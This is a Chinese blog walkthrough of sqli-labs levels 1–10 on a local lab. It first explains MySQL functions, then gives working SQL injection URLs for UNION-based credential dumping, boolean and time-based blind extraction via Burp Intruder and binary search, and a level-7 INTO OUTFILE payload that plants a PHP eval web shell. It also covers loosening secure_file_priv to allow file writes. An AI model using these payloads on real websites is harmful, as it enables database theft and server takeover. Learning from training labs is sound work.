sqli-lab(1-10)及函数扩充

常用函数扩充

下面部分函数之前已扩充,点击此处查看
在此继续扩充一些需要用到的函数
1、left()函数
解释:left(a,b)从左侧截取a的前b位,正确则返回1,错误则返回0
示例如下
代码:left(database(),1)=’s’
结果如下
在这里插入图片描述2、regexp函数
解释:user的结果是root(我的账号为root),regexp为匹配root的正则表达式(正则表达式讲解链接:https://www.runoob.com/regexp/regexp-intro.html)
示例如下
代码:select user() regexp 'r';
结果如下
在这里插入图片描述
3、like函数
解释:选取user表中以ro开头的字段,如果存在则为1,不存在则为0(like函数讲解链接:https://www.runoob.com/sql/sql-like.html)
示例如下
代码:select user()like 'ro%';
结果如下
在这里插入图片描述
代码:select user()like 't%';
结果如下
在这里插入图片描述
4、substr函数
解释:substr(a,b,c)从位置b开始,截取a字符串c位长度
示例如下
代码:select substr((select database()),1,2)='se';
结果如下
在这里插入图片描述
5、ASCII函数
解释:select ascii(‘x’) 将x转换成对应的数字(x为你输入的字符)
示例如下
示例1
代码:select ascii('z');
结果如下
在这里插入图片描述
示例2
代码:Select ascii(substr((select database()),1,1));s
结果如下
在这里插入图片描述
6、chr和ord函数
解释:使用python中的两个函数可以判断当前的ASCII码是多少(在powershall中输入iPython运行下列函数)
示例如下
代码:

chr(115) 
Ord(‘s’)

结果如下
在这里插入图片描述
7、if函数
解释:判断语句是否正确,如果正确,就输出x,否则就输出y
示例如下
代码: select if(1=0,'y','n');
结果如下
在这里插入图片描述
套娃模式:
示例如下
代码: select if(ascii(substr((select database()),1,1)) >10,'true','false');
结果如下
在这里插入图片描述
8、Into outfile(写入文件)
格式:Select ‘内容’ into outfile ‘文件名’;
示例如下
代码:select 'crow' into outfile '1.txt';
结果如下
在这里插入图片描述
此时存入的地址为"D:\phpStudy\PHPTutorial\MySQL\data\1.txt"
在这里插入图片描述
如果想指定创建文件的位置,则需要在文件名前加入地址
示例如下
代码:

Select 'waxxhzsh' into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\Less-6\\test.txt';

结果
在这里插入图片描述
此时文件位置位于D:\phpStudy\PHPTutorial\WWW\sqli-labs-master\Less-6\test.txt’
在这里插入图片描述
注意:\t时会被mysql转义,无法正确执行,所以需要用双反斜号
9、load_file();(读取本地文件)
示例:

 select  load_file('D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\Less-6\\test.txt');

结果
在这里插入图片描述
10、group_concat()
解释:group_concat函数返回一个字符串结果,该结果由分组中的值连接组合而成。简单的说,就是将得到的结果结合到一起再输出
示例如下
代码:select group_concat('security','test');
结果如下
在这里插入图片描述
11、concat_ws
格式:concat_ws(‘分隔符’,‘内容1’,‘内容2’)
解释:内容1和内容2中间以自己设置的间隔符来分开
具体讲解链接:https://www.yiibai.com/sql/sql-concat_ws-function.html
示例如下
代码:select concat_ws(’,’,‘a’,‘b’,‘c’);
结果如下
在这里插入图片描述

sql-lab1-4

先打开php文件,添加如下语句,此可以使网站有sql语句的回显

echo $sql;
echo '<br>';

添加位置如下
在这里插入图片描述
查看第一关
在这里插入图片描述
先输入id=1,发现回显中id是以单引号包含的,所以我们为了注入后使语句仍能正常执行,在id=1后加上单引号进行闭合,在加上注释符(- -+)注释后面语句即可

获取字段数

代码:http://127.0.0.1:8080/sqli-labs-master/Less-1/?id=1' order by 3 --+
在这里插入图片描述
代码:http://127.0.0.1:8080/sqli-labs-master/Less-1/?id=1' order by 4 --+
在这里插入图片描述
字段数为4时产生报错,说明字段数为3

获取数据库名

代码:http://127.0.0.1:8080/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(schema_name)from information_schema.schemata --+
在这里插入图片描述

获取表名

代码:http://127.0.0.1:8080/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
在这里插入图片描述
##获取字段名
代码:http://127.0.0.1:8080/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
在这里插入图片描述

获取字段信息

代码:http://127.0.0.1:8080/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(concat_ws('~',id,username,password)) from security.users--+
在这里插入图片描述
查看第二关
先输入id=1
在这里插入图片描述
发现id闭合方式不需要用单引号等,因此就直接输入id=1 后面加上语句来判断字段数等,步骤同第一关相一致,这里不再重复,有意者请自行尝试

查看第三关
先输入id=1
在这里插入图片描述
发现id闭合方式为’),因此我们在进行注入时在id后加上’)即可,1-3关步骤除闭合方式外,几乎没有什么不同,所以有意者按照第一关自行尝试即可。

查看第四关
先输入id=1
在这里插入图片描述
发现id闭合方式为"),因此我们若想要成功注入语句,在id后加上")即可,其他步骤与第一关一致

sql-lab 5-6

知识引入:

布尔盲注定义:
页面没有显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常来判断是否存在注入。

查看第五关
先输入id=1
在这里插入图片描述
发现闭合方式为’,要想注入成功,需要在id后加上’,此时你再输入id=2,会发现结果依然如此
在这里插入图片描述
我们已知字段数为3,当输入 id =1000,我们发现回显消失,没有报错信息,此即证明其为布尔型注入
因为这里正确时只会输出you are in ,所以联合查询在这里并不适用,我们可以用left等函数来进行猜解

获取字段数

代码:http://127.0.0.1:8080/sqli-labs-master/Less-5/?id=1' order by 3--+在这里插入图片描述
代码:http://127.0.0.1:8080/sqli-labs-master/Less-5/?id=1' order by 4--+
在这里插入图片描述
字段数为3时有回显,4时报不存在,说明字段数为3

获取数据库名

代码:http://127.0.0.1:8080/sqli-labs-master/Less-5/?id=1' and left((select database()),1)='s'--+
在这里插入图片描述
法一:使用burpsuite来进行暴力破解
操作如下:
打开burpsuite,刷新sql-lab界面
此时burpsuite出现数据
在这里插入图片描述
全部发送至爆破模块
在这里插入图片描述
此时界面为
在这里插入图片描述
首先我们点击clear,清除一些值,clear位于最右方,如下图所示在这里插入图片描述
然后我们将a作为一个变量,操作是选择a并点击add
在这里插入图片描述
然后点击payloads,选择种类为暴力破解
在这里插入图片描述
我们的数据库名为字母,所以将数字删去
在这里插入图片描述
我们设置的数字为数据库第一个字母,所以将最小位和最大位都设置为1
在这里插入图片描述
此时点击options,选择线程为30
在这里插入图片描述
点击最右方的开始攻击
在这里插入图片描述
输出为
在这里插入图片描述
我们发现只有s为994,其他都为1010,我们查看它的响应
在这里插入图片描述
发现有you are in ,说明数据库第一个字母为s
此时我们推第二位字母,将1改为2,在变量a前加上s
在这里插入图片描述
其他步骤与此相同
在这里插入图片描述
推出第二个字母为e
以此类推
中间我不再重复,下面是最后一位
在这里插入图片描述
由此可知,数据库名为security(我们需要提前用布尔盲注猜出数据库名有几位字母)
猜解数据库位数
示例如下
代码:http://127.0.0.1:8080/sqli-labs-master/Less-5/?id=1' and length(database())=2--+
在这里插入图片描述
此时无回显,说明不正确,直到长度为8时才有回显,说明数据库长度为8
在这里插入图片描述
方法二:利用二分法进行猜解(二分法:取较大值和较小值,然后逐渐缩小范围)
代码:http://127.0.0.1:8080/sqli-labs-master/Less-5/?id=1' and ascii(substr((select database()),1,1))>200--+
解读:select database()表示当前数据库
substr((select database()),1,1)表示从数据库名的第一位开始截取一个字段
ascii(substr((select database()),1,1))表示将数据库的第一个字母转换成ASCII码
结果如下
在这里插入图片描述
此时说明第一个字母ASCII码小于200,盲猜其大于50
代码http://127.0.0.1:8080/sqli-labs-master/Less-5/?id=1' and ascii(substr((select database()),1,1))>50--+
结果
在这里插入图片描述
说明ASCII码大于50,猜解其大于150
代码:http://127.0.0.1:8080/sqli-labs-master/Less-5/?id=1' and ascii(substr((select database()),1,1))>150--+

结果在这里插入图片描述

在这里插入图片描述
无回显,说明小于150,此时猜解大于100
代码:http://127.0.0.1:8080/sqli-labs-master/Less-5/?id=1' and ascii(substr((select database()),1,1))>100--+
在这里插入图片描述
有回显,说明大于100,此时猜解大于125
在这里插入图片描述无回显,说明小于125,猜解其大于110
代码:http://127.0.0.1:8080/sqli-labs-master/Less-5/?id=1' and ascii(substr((select database()),1,1))>110--+
在这里插入图片描述

有回显,说明大于110,猜解其大于115
代码http://127.0.0.1:8080/sqli-labs-master/Less-5/?id=1' and ascii(substr((select database()),1,1))>115--+
在这里插入图片描述
有回显,说明大于110,此时确定ASCII范围为110~115,猜解ASCII码为115
代码http://127.0.0.1:8080/sqli-labs-master/Less-5/?id=1' and ascii(substr((select database()),1,1))=115--+
在这里插入图片描述
猜出第一位字母ASCII码为115,根据ASCII码表可知为s
第二位与此类似,把代码中的第一个换成2继续猜解即可,以此类推,最终得到数据库名称为security

猜解表信息

利用burpsuite来猜解
代码:http://127.0.0.1:8080/sqli-labs-master/Less-5/?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a'--+
解读:select table_name from information_schema.tables where table_schema='security’表示security数据库中的所有表。
limit 0,1表示从第一位开始取第一个表
substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1)表示查取第一个表的第一位字母

操作:
刷新sql-lab界面,在burpsuite中得到数据
在这里插入图片描述
全选点击爆破
在这里插入图片描述
进入爆破模块,清除,并且将字母a变成变量
在这里插入图片描述
点击payloads,选择暴力破解
在这里插入图片描述

将数字删去并将最大值与最小值改为1
在这里插入图片描述

线程改为30
在这里插入图片描述
点击右方开始攻击
在这里插入图片描述
发现只有一个长度与其他不同,说明e为security数据库中第一个表的表名的第一个字母
在这里插入图片描述
猜解第二位字母
只需要讲代码中的最后一个1改成2,并在变量a前加上e即可
在这里插入图片描述
其他步骤与之前保持一致,可得到第二位为m
在这里插入图片描述
以此类推,最终可得到第一个表的表名为emails(需提前推出字段数)
方法二:利用二分法进行猜解,代码http://127.0.0.1:8080/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114--+
皆如此,相比于上面只是多了个取ascii码,步骤与猜解数据库类似,我不再进行示范

猜解字段名

代码:http://127.0.0.1:8080/sqli-labs-master/Less-5/?id=1' and substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1)='a'--+
方法一:
利用burpsuite破解
选择破解
在这里插入图片描述
先清除,再将字母a变成变量
在这里插入图片描述
选择暴力破解,将数字删去,将最大值与最小值改为1
在这里插入图片描述
线程改为30
在这里插入图片描述
得到结果
在这里插入图片描述
说明第一个字段的名称的第一位为u
第二位只需将代码中最后一个1改为2,在变量a前添加u即可
在这里插入图片描述
得到结果
在这里插入图片描述

以此类推,最终得到第一个字段名为username(需提前猜解字段数)
方法二是以二分法猜解
代码:http://127.0.0.1:8080/sqli-labs-master/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))>100--+
解释:select column_name from information_schema.columns where table_name=‘users’ 表示取出users表中全部字段
limit1,1 表示从第二位开始取一个字段名
(substr((select column_name from information_schema.columns where table_name=‘users’ limit 1,1),1,1)表示从第一位开始截取字段名,截取一位。
ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 1,1),1,1))表示将第二个字段名的第一个字母转换成ascii码
猜解步骤与猜解数据库的二分法一致,不再重复

猜解字段信息

方法一:
用burpsuite进行暴力破解
代码http://127.0.0.1:8080/sqli-labs-master/Less-5/?id=1' and substr((select username from security.users limit 1,1),1,1)='c'--+
进入burpsuite界面
全选并点击爆破
在这里插入图片描述
清除变量并将a变成变量
在这里插入图片描述
选择暴力破解,将数字1-9删去,最大值和最小值变为1
在这里插入图片描述
进程改为30
在这里插入图片描述

开始攻击,得到结果
在这里插入图片描述
第一位为a,猜解第二位只需将代码中最后一个1改为2,在变量c前添加a即可
在这里插入图片描述
其他步骤与上面一致,最终得到结果
在这里插入图片描述
以此类推最终可得到字段信息
方法二:
利用二分法来进行判断
代码:http://127.0.0.1:8080/sqli-labs-master/Less-5/?id=1' and ascii(substr((select username from security.users limit 1,1),1,1))>10--+
解释:
select username from security.users是指取出security数据库users表username字段中的全部信息。
limit1,1表示从第二信息开始取一位
substr((select username from security.users limit 1,1),1,1)表示从第一位开始截取字段信息,截取一位
ascii(substr((select username from security.users limit 1,1),1,1))表示将截取到的一位改成ascii码
步骤与上面猜解数据库相一致,这里不再重复
第五关完成!

查看第六关
先输入id=1
在这里插入图片描述

发现id闭合方式变为"闭合,这时我们在id后添加" 再输入其他语句即可,其他猜解过程与第五关一致,这里不再重复,有意者请自行尝试。

sql-lab7

查看第七关
输入id=1
在这里插入图片描述

发现id包裹方式为’)),所以我们想注入成功,在id后加上’))即可
代码:http://127.0.0.1:8080/sqli-labs-master/Less-7/?id=1') union select 1,2,'<php @eval($_POST["crow"]);?>' into outfile "D:\phpStudy\PHPTutorial\WWW\sqli-labs-master\Less-7\x.php"--+
执行结果
在这里插入图片描述
查看指定文件夹,文件已经存在
在这里插入图片描述
访问
在这里插入图片描述
此时利用中国菜刀或者中国蚁剑,即可获取其本地文件
注意:
这里需要有权限才能够成功执行语句
Mysql刚安装时,一般都没有导入和导出的权限,可以用show variables like ‘%secure%’;语句来自行检查,由于我已经修改过,所以secure_file_priv处为d:\,初始的应该是null
在这里插入图片描述
初始值为null,我们则需要修改,到哪里修改呢,找到mysql文件夹,打开并找到my.ini文件,打开,添加secure_file_priv="/"即可,具体位置如图
在这里插入图片描述
此时重启mysql,即可发现你的已经不是null,安装在c盘则变成C:\,d盘则如上图所示

sql-lb 8-10

查看第八关
输入id=1
在这里插入图片描述
发现id包裹方式为’,因此想要成功注入语句只需要在id后加上’即可

判断字段数

代码:http://127.0.0.1:8080/sqli-labs-master/Less-6/?id=1 order by 3--+
在这里插入图片描述

代码:
在这里插入图片描述
说明字段数为3
数据库等猜解与第五关判断方式保持一致,这里我不再进行示范

查看第九关
输入id=1
在这里插入图片描述
id包裹方式为’,此时想注入成功需要在id后加上’

判断字段数

代码:http://127.0.0.1:8080/sqli-labs-master/Less-9/?id=1 order by 3--+
在这里插入图片描述
代码:http://127.0.0.1:8080/sqli-labs-master/Less-9/?id=1 order by 4--+
在这里插入图片描述
我们已知字段数为3,这里是4却正常回显,我们尝试输入一个大的数字
代码:http://127.0.0.1:8080/sqli-labs-master/Less-9/?id=1 order by 1000--+
在这里插入图片描述
说明无论输入什么,都会正常回显,此时不能用order by来检测
此时我们可以用延迟注入(时间盲注好像是官方名词,我只是小白,若有误各位请指正)

数据库猜解

代码:http://127.0.0.1:8080/sqli-labs-master/Less-9/?id=1' and if (ascii(substr((select database()),1,1)) > 100,1,sleep(5))--+
解释:
select database()表示当前数据库
substr((select database()),1,1)表示从第一位开始截取数据库,截取一位
if (ascii(substr((select database()),1,1)) > 100,1,sleep(5))表示如果截取的数据库名称的第一位字母的ascii码大于100,就输出1,否则沉睡5秒(这里不会输出1,只会正常回显,因此我们观看返回结果的时长即可知道语句是否正确)
在这里插入图片描述

此时观察返回时间即可判断语句是否执行正确
利用二分法,最终确定ascii值,从而确定字母

猜解表名

代码:http://127.0.0.1:8080/sqli-labs-master/Less-9/?id=1' and if (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)) > 100,1,sleep(5))--+
在这里插入图片描述
此时如果正确则正常速度回显,如果错误则回显速度明显变慢,可以先将数值改为1000去检测语句有没有写错,其他猜解步骤同之前以二分法猜解的一致,不再重复

猜解字段名

代码:http://127.0.0.1:8080/sqli-labs-master/Less-9/?id=1' and if (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1)) > 100,1,sleep(5))--+
解释:
select column_name from information_schema.columns where table_name=‘users’ 表示选出users表中所有字段
limit1,1表示从第二个字段开始,选取一个字段
substr((select column_name from information_schema.columns where table_name=‘users’ limit 1,1),1,1)表示从字段名的第一位开始截取,截取一位
ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 1,1),1,1))表示取出第一位的ascii码
if (ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 1,1),1,1)) > 100,1,sleep(5))表示如果ascii码大于100就输出1,否则沉睡五秒
在这里插入图片描述
下面的猜解步骤与此相同,这里不再进行示范

猜解字段信息

代码:http://127.0.0.1:8080/sqli-labs-master/Less-9/?id=1' and if (ascii( substr((select username from security.users limit 1,1),1,1)) > 100,1,sleep(5))--+
解释:
select username from security.users表示security数据库users表username字段中的所有信息
limit1,1指的是从第二位开始,选择第一个信息
substr((select username from security.users limit 1,1),1,1)表示从第一个信息的第一位开始截取,截取一位
ascii( substr((select username from security.users limit 1,1),1,1)) 表示将第一位转为ascii码
if (ascii( substr((select username from security.users limit 1,1),1,1)) > 100,1,sleep(5))表示如果ascii码大于100,就输出1,否则沉睡五秒
在这里插入图片描述
猜解过程其他依旧与上面保持一致,我不再重复

查看第十关
先输入id=1
在这里插入图片描述
发现没有给出包裹方式,我们这时候可以利用sleep函数来进行猜测
代码:http://127.0.0.1:8080/sqli-labs-master/Less-10/?id=1" and sleep(5)--+
在id=1后加 ‘或"或’)或’))或")等来猜解,最终发现"可以成功注入
在这里插入图片描述
说明id包裹方式为",之后的猜解过程与第九关一致,这里不再重复

扩充一下大佬对id闭合的看法
在这里插入图片描述
s q l = " S E L E C T ∗ F R O M u s e r s W H E R E i d = ( ( ′ sql="SELECT * FROM users WHERE id=((' sql="SELECTFROMusersWHEREid=((id’)) LIMIT 0,1";
实际上是执行了这个语句
$id是你传入的参数
假如传的是admin,则为
SELECT * FROM users WHERE id=((‘admin’)) LIMIT 0,1";
在数据库中执行
你如果想注入
注入就是自己构造sql语句
要保证语句不出错,能执行
SELECT * FROM users WHERE id=((‘admin’))–+’)) LIMIT 0,1";
传入admin’))–+
'))把前面的符号闭合
–+把后面的代码注释掉
此时语句可以正常执行

本文结束,谢谢!
扩充:sql注入(个人博客版)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值